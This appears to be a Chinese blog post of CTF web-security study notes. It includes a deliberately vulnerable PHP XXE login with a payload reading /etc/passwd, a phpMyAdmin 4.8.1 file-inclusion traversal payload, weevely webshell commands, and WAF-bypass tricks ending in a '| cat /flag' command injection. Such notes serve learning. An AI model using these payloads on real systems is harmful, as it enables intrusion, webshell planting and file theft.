WEB安全之xxe外部实体攻击

184 阅读2分钟

开启掘金成长之旅!这是我参与「掘金日新计划 · 12 月更文挑战」的第19天,点击查看活动详情

0x9、xxe外部实体攻击

详见浅谈XML实体注入漏洞 - FreeBuf网络安全行业门户

例题 [NCTF2019]Fake XML cookbook

doLogin.php源代码


<?php

/**

* autor: c0ny1

* date: 2018-2-7

*/

  


$USERNAME = 'admin'; //账号

$PASSWORD = '024b87931a03f738fff6693ce0a78c88'; //密码

$result = null;

  


libxml_disable_entity_loader(false);

$xmlfile = file_get_contents('php://input');

  


try{

$dom = new DOMDocument();

$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);

$creds = simplexml_import_dom($dom);

  


$username = $creds->username;

$password = $creds->password;

  


if($username == $USERNAME && $password == $PASSWORD){

$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);

}else{

$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);

}

}catch(Exception $e){

$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());

}

  


header('Content-Type: text/html; charset=utf-8');

echo $result;

?>

payload:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE note [

<!ENTITY admin SYSTEM "file:///etc/passwd">

]>

<user><username>&admin;</username><password>123456</password></user>

[NCTF2019]True XML cookbook

  1. 这里主要还是学习/proc/net/arp和/etc/hosts那个文件夹。用到了打靶机的知识,去爆破内网。

0x10、JS相关

0x11、CMS

一、searchsploit 寻找cms exp

3.使用“-t”选项

默认情况下,searchsploit将检查该漏洞利用的标题以及该路径。根据搜索条件,这可能会导致误报(特别是在搜索与平台和版本号匹配的术语时),使用“-t”选项去掉多余数据。例如searchsploit -t oracle windows显示7行数据而searchsploitoracle windows |wc –l显示90行数据。

searchsploit -t thinkphp

searchsploit -p 46510

二、weevly 生成php一句话

1.生成带密码的php文件

weevely generate

2.将PHP文件放在目标网站后,连接php文件

weevely

三、常见cms

一、phpmyadmin4.8.1远程文件包含漏洞(CVE-2018-12613)

详见:phpmyadmin4.8.1远程文件包含漏洞(CVE-2018-12613) - 简书 (jianshu.com)

phpmyadmin/index.php?target=db_datadict.php?/../../../../../flag

后面又将$page参数用urlencode解码再进行以?分割取出前面的值做判断。那么传入target=db_sql.php%253f/../../test.txt

txt内容为//%253f是?号的二此url编码(前端提交数据包到后端时会解码一次,所以这里二次编码)urlcode将$page解码后是db_sql.php?/../../test.php

再以?分割取出来前面的字符串为index.php,$whitelist中有index.php所以会进入最后一个if区间return true

0x12 过waf姿势

一、过waf垃圾参数脚本:

import string,random

plaintext = string.ascii_letters

data = ""

for item in range(1000):

txt = "".join(random.sample(plaintext,4)) + "=1"

# data = data + txt + ";"

data = data + txt + "&"

print(data)

二、过waf大数据包:

filename=s3333333333333333233333333333333s3333333333333333233333333333333s3333333333333333233333333333333s3333333333333333233333333333333s3333333333333333233333333333333s3333333333333333233333333333333s3333333333333333233333333333333s3333333333333333233333333333333

&content=| cat /flag